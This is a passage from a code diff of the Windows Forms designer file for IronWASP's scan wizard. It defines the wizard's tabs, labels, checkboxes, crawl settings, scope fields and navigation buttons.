System.Windows.Forms.Button(); + this.StepThreeNextBtn = new System.Windows.Forms.Button(); + this.label16 = new System.Windows.Forms.Label(); + this.InjectNamesCB = new System.Windows.Forms.CheckBox(); + this.ScanPluginsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn27 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.label15 = new System.Windows.Forms.Label(); + this.InjectHeadersCB = new System.Windows.Forms.CheckBox(); + this.InjectCookieCB = new System.Windows.Forms.CheckBox(); + this.InjectBodyCB = new System.Windows.Forms.CheckBox(); + this.InjectQueryCB = new System.Windows.Forms.CheckBox(); + this.InjectUrlPathPartsCB = new System.Windows.Forms.CheckBox(); + this.Four = new System.Windows.Forms.TabPage(); + this.Step4StatusTB = new System.Windows.Forms.TextBox(); + this.label18 = new System.Windows.Forms.Label(); + this.label17 = new System.Windows.Forms.Label(); + this.StepFourPreviousBtn = new System.Windows.Forms.Button(); + this.StepFourNextBtn = new System.Windows.Forms.Button(); + this.groupBox5 = new System.Windows.Forms.GroupBox(); + this.HeadersParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.HeadersParametersPlusTB = new System.Windows.Forms.TextBox(); + this.HeadersParametersMinusTB = new System.Windows.Forms.TextBox(); + this.HeadersParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.HeadersParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.QueryParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.QueryParametersPlusTB = new System.Windows.Forms.TextBox(); + this.QueryParametersMinusTB = new System.Windows.Forms.TextBox(); + this.QueryParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.QueryParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox3 = new System.Windows.Forms.GroupBox(); + this.BodyParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.BodyParametersPlusTB = new System.Windows.Forms.TextBox(); + this.BodyParametersMinusTB = new System.Windows.Forms.TextBox(); + this.BodyParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.BodyParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox4 = new System.Windows.Forms.GroupBox(); + this.CookieParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.CookieParametersPlusTB = new System.Windows.Forms.TextBox(); + this.CookieParametersMinusTB = new System.Windows.Forms.TextBox(); + this.CookieParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.CookieParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.Five = new System.Windows.Forms.TabPage(); + this.PromptUserCB = new System.Windows.Forms.CheckBox(); + this.label20 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.SaveTemplateLL = new System.Windows.Forms.LinkLabel(); + this.label19 = new System.Windows.Forms.Label(); + this.StepFivePreviousBtn = new System.Windows.Forms.Button(); + this.FinalBtn = new System.Windows.Forms.Button(); + this.SaveTemplateDialog = new System.Windows.Forms.SaveFileDialog(); + this.OpenTemplateDialog = new System.Windows.Forms.OpenFileDialog(); + this.BaseTabs.SuspendLayout(); + this.Zero.SuspendLayout(); + this.One.SuspendLayout(); + this.panel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ConfigCrawlerThreadMaxCountTB)).BeginInit(); + this.Two.SuspendLayout(); + this.panel3.SuspendLayout(); + this.panel2.SuspendLayout(); + this.Three.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).BeginInit(); + this.Four.SuspendLayout(); + this.groupBox5.SuspendLayout(); + this.groupBox1.SuspendLayout(); + this.groupBox3.SuspendLayout(); + this.groupBox4.SuspendLayout(); + this.Five.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.Zero); + this.BaseTabs.Controls.Add(this.One); + this.BaseTabs.Controls.Add(this.Two); + this.BaseTabs.Controls.Add(this.Three); + this.BaseTabs.Controls.Add(this.Four); + this.BaseTabs.Controls.Add(this.Five); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(834, 361); + this.BaseTabs.TabIndex = 0; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // Zero + // + this.Zero.Controls.Add(this.ScanTemplateNameLbl); + this.Zero.Controls.Add(this.Step0StatusTB); + this.Zero.Controls.Add(this.label6); + this.Zero.Controls.Add(this.label2); + this.Zero.Controls.Add(this.LoadTemplateLL); + this.Zero.Controls.Add(this.label1); + this.Zero.Controls.Add(this.CancelBtn); + this.Zero.Controls.Add(this.StepZeroNextBtn); + this.Zero.Controls.Add(this.Step1StatusLbl); + this.Zero.Controls.Add(this.Step1Progress); + this.Zero.Location = new System.Drawing.Point(4, 25); + this.Zero.Margin = new System.Windows.Forms.Padding(0); + this.Zero.Name = "Zero"; + this.Zero.Size = new System.Drawing.Size(826, 332); + this.Zero.TabIndex = 0; + this.Zero.Text = " Start "; + this.Zero.UseVisualStyleBackColor = true; + // + // ScanTemplateNameLbl + // + this.ScanTemplateNameLbl.AutoSize = true; + this.ScanTemplateNameLbl.Location = new System.Drawing.Point(120, 210); + this.ScanTemplateNameLbl.Name = "ScanTemplateNameLbl"; + this.ScanTemplateNameLbl.Size = new System.Drawing.Size(220, 13); + this.ScanTemplateNameLbl.TabIndex = 137; + this.ScanTemplateNameLbl.Text = " "; + // + // Step0StatusTB + // + this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step0StatusTB.BackColor = System.Drawing.Color.White; + this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step0StatusTB.Location = new System.Drawing.Point(123, 293); + this.Step0StatusTB.Multiline = true; + this.Step0StatusTB.Name = "Step0StatusTB"; + this.Step0StatusTB.Size = new System.Drawing.Size(577, 31); + this.Step0StatusTB.TabIndex = 136; + this.Step0StatusTB.TabStop = false; + this.Step0StatusTB.Visible = false; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(10, 39); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(578, 13); + this.label6.TabIndex = 10; + this.label6.Text = "If you do not understand any of the settings then don\'t worry, you can simply pro" + + "ceed with the options selected by default."; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(8, 15); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(346, 13); + this.label2.TabIndex = 9; + this.label2.Text = "This wizard will help you create a new scan suited to your requirements. "; + // + // LoadTemplateLL + // + this.LoadTemplateLL.AutoSize = true; + this.LoadTemplateLL.Location = new System.Drawing.Point(350, 173); + this.LoadTemplateLL.Name = "LoadTemplateLL"; + this.LoadTemplateLL.Size = new System.Drawing.Size(125, 13); + this.LoadTemplateLL.TabIndex = 8; + this.LoadTemplateLL.TabStop = true; + this.LoadTemplateLL.Text = "Load Scan Template File"; + this.LoadTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadTemplateLL_LinkClicked); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(8, 173); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(336, 13); + this.label1.TabIndex = 7; + this.label1.Text = "If you have saved a Scan Configuration template then you can use it: "; + // + // CancelBtn + // + this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.CancelBtn.Location = new System.Drawing.Point(11, 301); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(105, 23); + this.CancelBtn.TabIndex = 6; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // StepZeroNextBtn + // + this.StepZeroNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepZeroNextBtn.Enabled = false; + this.StepZeroNextBtn.Location = new System.Drawing.Point(707, 301); + this.StepZeroNextBtn.Name = "StepZeroNextBtn"; + this.StepZeroNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepZeroNextBtn.TabIndex = 5; + this.StepZeroNextBtn.Text = "Next Step ->"; + this.StepZeroNextBtn.UseVisualStyleBackColor = true; + this.StepZeroNextBtn.Click += new System.EventHandler(this.StepZeroNextBtn_Click); + // + // Step1StatusLbl + // + this.Step1StatusLbl.AutoSize = true; + this.Step1StatusLbl.Location = new System.Drawing.Point(8, 93); + this.Step1StatusLbl.Name = "Step1StatusLbl"; + this.Step1StatusLbl.Size = new System.Drawing.Size(217, 13); + this.Step1StatusLbl.TabIndex = 1; + this.Step1StatusLbl.Text = "Checking connectivity with the target host...."; + // + // Step1Progress + // + this.Step1Progress.Location = new System.Drawing.Point(11, 118); + this.Step1Progress.MarqueeAnimationSpeed = 20; + this.Step1Progress.Name = "Step1Progress"; + this.Step1Progress.Size = new System.Drawing.Size(202, 23); + this.Step1Progress.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.Step1Progress.TabIndex = 0; + this.Step1Progress.Visible = false; + // + // One + // + this.One.Controls.Add(this.Step1StatusTB); + this.One.Controls.Add(this.ConfigureScanDirAndFileGuessingCB); + this.One.Controls.Add(this.label10); + this.One.Controls.Add(this.label9); + this.One.Controls.Add(this.SpecialHeaderValueTB); + this.One.Controls.Add(this.SpecialHeaderNameTB); + this.One.Controls.Add(this.UseSpecialHeaderCB); + this.One.Controls.Add(this.panel1); + this.One.Controls.Add(this.StepOnePreviousBtn); + this.One.Controls.Add(this.StepOneNextBtn); + this.One.Controls.Add(this.ConfigCrawlerUserAgentTB); + this.One.Controls.Add(this.label32); + this.One.Controls.Add(this.ConfigCrawlerThreadMaxCountLbl); + this.One.Controls.Add(this.label33); + this.One.Controls.Add(this.ConfigCrawlerThreadMaxCountTB); + this.One.Controls.Add(this.label5); + this.One.Controls.Add(this.linkLabel2); + this.One.Controls.Add(this.label4); + this.One.Controls.Add(this.label3); + this.One.Location = new System.Drawing.Point(4, 25); + this.One.Margin = new System.Windows.Forms.Padding(0); + this.One.Name = "One"; + this.One.Size = new System.Drawing.Size(826, 332); + this.One.TabIndex = 1; + this.One.Text = " Crawl Settings "; + this.One.UseVisualStyleBackColor = true; + // + // Step1StatusTB + // + this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step1StatusTB.BackColor = System.Drawing.Color.White; + this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step1StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step1StatusTB.Location = new System.Drawing.Point(126, 293); + this.Step1StatusTB.Multiline = true; + this.Step1StatusTB.Name = "Step1StatusTB"; + this.Step1StatusTB.Size = new System.Drawing.Size(577, 32); + this.Step1StatusTB.TabIndex = 135; + this.Step1StatusTB.TabStop = false; + this.Step1StatusTB.Visible = false; + // + // ConfigureScanDirAndFileGuessingCB + // + this.ConfigureScanDirAndFileGuessingCB.AutoSize = true; + this.ConfigureScanDirAndFileGuessingCB.Checked = true; + this.ConfigureScanDirAndFileGuessingCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigureScanDirAndFileGuessingCB.Location = new System.Drawing.Point(16, 165); + this.ConfigureScanDirAndFileGuessingCB.Name = "ConfigureScanDirAndFileGuessingCB"; + this.ConfigureScanDirAndFileGuessingCB.Size = new System.Drawing.Size(347, 17); + this.ConfigureScanDirAndFileGuessingCB.TabIndex = 134; + this.ConfigureScanDirAndFileGuessingCB.Text = "In addition to following links also perform Directory and File Guessing"; + this.ConfigureScanDirAndFileGuessingCB.UseVisualStyleBackColor = true; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(477, 210); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(75, 13); + this.label10.TabIndex = 133; + this.label10.Text = "Header Value:"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(290, 211); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(76, 13); + this.label9.TabIndex = 132; + this.label9.Text = "Header Name:"; + // + // SpecialHeaderValueTB + // + this.SpecialHeaderValueTB.Location = new System.Drawing.Point(555, 207); + this.SpecialHeaderValueTB.Name = "SpecialHeaderValueTB"; + this.SpecialHeaderValueTB.Size = new System.Drawing.Size(259, 20); + this.SpecialHeaderValueTB.TabIndex = 131; + this.SpecialHeaderValueTB.Text = "Security Testing Team with IronWASP"; + // + // SpecialHeaderNameTB + // + this.SpecialHeaderNameTB.Location = new System.Drawing.Point(368, 207); + this.SpecialHeaderNameTB.Name = "SpecialHeaderNameTB"; + this.SpecialHeaderNameTB.Size = new System.Drawing.Size(100, 20); + this.SpecialHeaderNameTB.TabIndex = 130; + this.SpecialHeaderNameTB.Text = "X-Scanned-By"; + // + // UseSpecialHeaderCB + // + this.UseSpecialHeaderCB.AutoSize = true; + this.UseSpecialHeaderCB.Location = new System.Drawing.Point(17, 209); + this.UseSpecialHeaderCB.Name = "UseSpecialHeaderCB"; + this.UseSpecialHeaderCB.Size = new System.Drawing.Size(276, 17); + this.UseSpecialHeaderCB.TabIndex = 129; + this.UseSpecialHeaderCB.Text = "Include this custom header while Crawling/Scanning:"; + this.UseSpecialHeaderCB.UseVisualStyleBackColor = true; + // + // panel1 + // + this.panel1.Controls.Add(this.CrawlAndScanRB); + this.panel1.Controls.Add(this.CrawlOnlyRB); + this.panel1.Location = new System.Drawing.Point(102, 66); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(428, 30); + this.panel1.TabIndex = 125; + // + // CrawlAndScanRB + // + this.CrawlAndScanRB.AutoSize = true; + this.CrawlAndScanRB.Checked = true; + this.CrawlAndScanRB.Location = new System.Drawing.Point(163, 7); + this.CrawlAndScanRB.Name = "CrawlAndScanRB"; + this.CrawlAndScanRB.Size = new System.Drawing.Size(252, 17); + this.CrawlAndScanRB.TabIndex = 114; + this.CrawlAndScanRB.TabStop = true; + this.CrawlAndScanRB.Text = "a Crawl of the site and also Scan crawled pages"; + this.CrawlAndScanRB.UseVisualStyleBackColor = true; + // + // CrawlOnlyRB + // + this.CrawlOnlyRB.AutoSize = true; + this.CrawlOnlyRB.Location = new System.Drawing.Point(11, 7); + this.CrawlOnlyRB.Name = "CrawlOnlyRB"; + this.CrawlOnlyRB.Size = new System.Drawing.Size(133, 17); + this.CrawlOnlyRB.TabIndex = 115; + this.CrawlOnlyRB.Text = "a Crawl of the site Only"; + this.CrawlOnlyRB.UseVisualStyleBackColor = true; + // + // StepOnePreviousBtn + // + this.StepOnePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepOnePreviousBtn.Location = new System.Drawing.Point(8, 302); + this.StepOnePreviousBtn.Name = "StepOnePreviousBtn"; + this.StepOnePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepOnePreviousBtn.TabIndex = 123; + this.StepOnePreviousBtn.Text = "<-Previous Step"; + this.StepOnePreviousBtn.UseVisualStyleBackColor = true; + this.StepOnePreviousBtn.Click += new System.EventHandler(this.StepOnePreviousBtn_Click); + // + // StepOneNextBtn + // + this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepOneNextBtn.Location = new System.Drawing.Point(715, 302); + this.StepOneNextBtn.Name = "StepOneNextBtn"; + this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepOneNextBtn.TabIndex = 122; + this.StepOneNextBtn.Text = "Next Step ->"; + this.StepOneNextBtn.UseVisualStyleBackColor = true; + this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); + // + // ConfigCrawlerUserAgentTB + // + this.ConfigCrawlerUserAgentTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigCrawlerUserAgentTB.Location = new System.Drawing.Point(15, 258); + this.ConfigCrawlerUserAgentTB.Name = "ConfigCrawlerUserAgentTB"; + this.ConfigCrawlerUserAgentTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.ConfigCrawlerUserAgentTB.Size = new System.Drawing.Size(799, 20); + this.ConfigCrawlerUserAgentTB.TabIndex = 121; + this.ConfigCrawlerUserAgentTB.Text = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)"; + // + // label32 + // + this.label32.AutoSize = true; + this.label32.Location = new System.Drawing.Point(13, 242); + this.label32.Name = "label32"; + this.label32.Size = new System.Drawing.Size(509, 13); + this.label32.TabIndex = 120; + this.label32.Text = "User-Agent Header value used by the Crawler (if this value is blank then an User-" + + "Agent header is not sent):"; + // + // ConfigCrawlerThreadMaxCountLbl + // + this.ConfigCrawlerThreadMaxCountLbl.AutoSize = true; + this.ConfigCrawlerThreadMaxCountLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigCrawlerThreadMaxCountLbl.Location = new System.Drawing.Point(252, 121); + this.ConfigCrawlerThreadMaxCountLbl.Name = "ConfigCrawlerThreadMaxCountLbl"; + this.ConfigCrawlerThreadMaxCountLbl.Size = new System.Drawing.Size(14, 13); + this.ConfigCrawlerThreadMaxCountLbl.TabIndex = 119; + this.ConfigCrawlerThreadMaxCountLbl.Text = "3"; + // + // label33 + // + this.label33.AutoSize = true; + this.label33.Location = new System.Drawing.Point(13, 120); + this.label33.Name = "label33"; + this.label33.Size = new System.Drawing.Size(234, 13); + this.label33.TabIndex = 118; + this.label33.Text = "Number of Parallel Threads used by the Crawler:"; + // + // ConfigCrawlerThreadMaxCountTB + // + this.ConfigCrawlerThreadMaxCountTB.BackColor = System.Drawing.Color.White; + this.ConfigCrawlerThreadMaxCountTB.LargeChange = 10; + this.ConfigCrawlerThreadMaxCountTB.Location = new System.Drawing.Point(278, 106); + this.ConfigCrawlerThreadMaxCountTB.Maximum = 5; + this.ConfigCrawlerThreadMaxCountTB.Minimum = 1; + this.ConfigCrawlerThreadMaxCountTB.Name = "ConfigCrawlerThreadMaxCountTB"; + this.ConfigCrawlerThreadMaxCountTB.Size = new System.Drawing.Size(104, 45); + this.ConfigCrawlerThreadMaxCountTB.TabIndex = 117; + this.ConfigCrawlerThreadMaxCountTB.TickStyle = System.Windows.Forms.TickStyle.Both; + this.ConfigCrawlerThreadMaxCountTB.Value = 3; + this.ConfigCrawlerThreadMaxCountTB.Scroll += new System.EventHandler(this.ConfigCrawlerThreadMaxCountTB_Scroll); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(13, 75); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(86, 13); + this.label5.TabIndex = 116; + this.label5.Text = "I want to perform"; + // + // linkLabel2 + // + this.linkLabel2.AutoSize = true; + this.linkLabel2.Location = new System.Drawing.Point(760, 37); + this.linkLabel2.Name = "linkLabel2"; + this.linkLabel2.Size = new System.Drawing.Size(56, 13); + this.linkLabel2.TabIndex = 12; + this.linkLabel2.TabStop = true; + this.linkLabel2.Text = "click here."; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.ForeColor = System.Drawing.SystemColors.ControlDarkDark; + this.label4.Location = new System.Drawing.Point(8, 37); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(755, 13); + this.label4.TabIndex = 11; + this.label4.Text = "NOTE: The crawler mode is not ideal for scanning JavaScript heavy sites and for a" + + "uthenticated section of applications. For details on how to handle such sites "; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(8, 10); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(490, 13); + this.label3.TabIndex = 10; + this.label3.Text = "IronWASP will first run a crawler that will try to discover the pages and content" + + " in the target application."; + // + // Two + // + this.Two.Controls.Add(this.Step2StatusTB); + this.Two.Controls.Add(this.StepTwoPreviousBtn); + this.Two.Controls.Add(this.StepTwoNextBtn); + this.Two.Controls.Add(this.label14); + this.Two.Controls.Add(this.label13); + this.Two.Controls.Add(this.label11); + this.Two.Controls.Add(this.StartingUrlTB); + this.Two.Controls.Add(this.ConfigureScanUrlToAvoidTB); + this.Two.Controls.Add(this.label12); + this.Two.Controls.Add(this.BaseUrlTB); + this.Two.Controls.Add(this.panel3); + this.Two.Controls.Add(this.CrossProtoQuestionLbl); + this.Two.Controls.Add(this.panel2); + this.Two.Controls.Add(this.label7); + this.Two.Location = new System.Drawing.Point(4, 25); + this.Two.Name = "Two"; + this.Two.Size = new System.Drawing.Size(826, 332); + this.Two.TabIndex = 4; + this.Two.Text = " Scope "; + this.Two.UseVisualStyleBackColor = true; + // + // Step2StatusTB + // + this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step2StatusTB.BackColor = System.Drawing.Color.White; + this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step2StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step2StatusTB.Location = new System.Drawing.Point(126, 291); + this.Step2StatusTB.Multiline = true; + this.Step2StatusTB.Name = "Step2StatusTB"; + this.Step2StatusTB.Size = new System.Drawing.Size(577, 32); + this.Step2StatusTB.TabIndex = 142; + this.Step2StatusTB.TabStop = false; + this.Step2StatusTB.Visible = false; + // + // StepTwoPreviousBtn + // + this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoPreviousBtn.Location = new System.Drawing.Point(8, 302); + this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; + this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoPreviousBtn.TabIndex = 141; + this.StepTwoPreviousBtn.Text = "<-Previous Step"; + this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; + this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); + // + // StepTwoNextBtn + // + this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoNextBtn.Location = new System.Drawing.Point(715, 303); + this.StepTwoNextBtn.Name = "StepTwoNextBtn"; + this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoNextBtn.TabIndex = 140; + this.StepTwoNextBtn.Text = "Next Step ->"; + this.StepTwoNextBtn.UseVisualStyleBackColor = true; + this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(11, 181); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(151, 13); + this.label14.TabIndex = 139; + this.label14.Text = "Do not Crawl/Scan these Urls:"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(8, 14); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(247, 13); + this.label13.TabIndex = 138; + this.label13.Text = "Define the scope of the Crawl and Scan coverage."; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(11, 46); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(132, 13); + this.label11.TabIndex = 137; + this.label11.Text = "Start crawling from this Url:"; + // + // StartingUrlTB + // + this.StartingUrlTB.Location = new System.Drawing.Point(164, 43); + this.StartingUrlTB.Name = "StartingUrlTB"; + this.StartingUrlTB.Size = new System.Drawing.Size(519, 20); + this.StartingUrlTB.TabIndex = 136; + this.StartingUrlTB.TextChanged += new System.EventHandler(this.ConfigureScanStartingUrlTB_TextChanged); + // + // ConfigureScanUrlToAvoidTB + // + this.ConfigureScanUrlToAvoidTB.Location = new System.Drawing.Point(168, 178); + this.ConfigureScanUrlToAvoidTB.Multiline = true; + this.ConfigureScanUrlToAvoidTB.Name = "ConfigureScanUrlToAvoidTB"; + this.ConfigureScanUrlToAvoidTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.ConfigureScanUrlToAvoidTB.Size = new System.Drawing.Size(636, 87); + this.ConfigureScanUrlToAvoidTB.TabIndex = 135; + this.ConfigureScanUrlToAvoidTB.WordWrap = false; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(11, 73); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(150, 13); + this.label12.TabIndex = 134; + this.label12.Text = "Do not go below this directory:"; + // + // BaseUrlTB + // + this.BaseUrlTB.Location = new System.Drawing.Point(164, 69); + this.BaseUrlTB.Name = "BaseUrlTB"; + this.BaseUrlTB.Size = new System.Drawing.Size(519, 20); + this.BaseUrlTB.TabIndex = 133; + this.BaseUrlTB.TextChanged += new System.EventHandler(this.ConfigureScanBaseUrlTB_TextChanged); + // + // panel3 + // + this.panel3.Controls.Add(this.CrossProtoNoRB); + this.panel3.Controls.Add(this.CrossProtoYesRB); + this.panel3.Location = new System.Drawing.Point(458, 137); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(153, 24); + this.panel3.TabIndex = 132; + // + // CrossProtoNoRB + // + this.CrossProtoNoRB.AutoSize = true; + this.CrossProtoNoRB.Checked = true; + this.CrossProtoNoRB.Location = new System.Drawing.Point(78, 5); + this.CrossProtoNoRB.Name = "CrossProtoNoRB"; + this.CrossProtoNoRB.Size = new System.Drawing.Size(39, 17); + this.CrossProtoNoRB.TabIndex = 114; + this.CrossProtoNoRB.TabStop = true; + this.CrossProtoNoRB.Text = "No"; + this.CrossProtoNoRB.UseVisualStyleBackColor = true; + // + // CrossProtoYesRB + // + this.CrossProtoYesRB.AutoSize = true; + this.CrossProtoYesRB.Location = new System.Drawing.Point(11, 3); + this.CrossProtoYesRB.Name = "CrossProtoYesRB"; + this.CrossProtoYesRB.Size = new System.Drawing.Size(43, 17); + this.CrossProtoYesRB.TabIndex = 115; + this.CrossProtoYesRB.Text = "Yes"; + this.CrossProtoYesRB.UseVisualStyleBackColor = true; + // + // CrossProtoQuestionLbl + // + this.CrossProtoQuestionLbl.AutoSize = true; + this.CrossProtoQuestionLbl.Location = new System.Drawing.Point(11, 142); + this.CrossProtoQuestionLbl.Name = "CrossProtoQuestionLbl"; + this.CrossProtoQuestionLbl.Size = new System.Drawing.Size(421, 13); + this.CrossProtoQuestionLbl.TabIndex = 131; + this.CrossProtoQuestionLbl.Text = "If the site contains links to {0} pages in same domain, should they be crawled/sc" + + "anned?"; + // + // panel2 + // + this.panel2.Controls.Add(this.SubdomainNoRB); + this.panel2.Controls.Add(this.SubdomainYesRB); + this.panel2.Location = new System.Drawing.Point(375, 100); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(153, 24); + this.panel2.TabIndex = 130; + // + // SubdomainNoRB + // + this.SubdomainNoRB.AutoSize = true; + this.SubdomainNoRB.Checked = true; + this.SubdomainNoRB.Location = new System.Drawing.Point(78, 4); + this.SubdomainNoRB.Name = "SubdomainNoRB"; + this.SubdomainNoRB.Size = new System.Drawing.Size(39, 17); + this.SubdomainNoRB.TabIndex = 114; + this.SubdomainNoRB.TabStop = true; + this.SubdomainNoRB.Text = "No"; + this.SubdomainNoRB.UseVisualStyleBackColor = true; + // + // SubdomainYesRB + // + this.SubdomainYesRB.AutoSize = true; + this.SubdomainYesRB.Location = new System.Drawing.Point(11, 4); + this.SubdomainYesRB.Name = "SubdomainYesRB"; + this.SubdomainYesRB.Size = new System.Drawing.Size(43, 17); + this.SubdomainYesRB.TabIndex = 115; + this.SubdomainYesRB.Text = "Yes"; + this.SubdomainYesRB.UseVisualStyleBackColor = true; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(11, 106); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(358, 13); + this.label7.TabIndex = 129; + this.label7.Text = "If the site contains links to sub-domains, should they be crawled/scanned?"; + // + // Three + // + this.Three.Controls.Add(this.Step3StatusTB); + this.Three.Controls.Add(this.ScanAllPluginsCB); + this.Three.Controls.Add(this.StepThreePreviousBtn); + 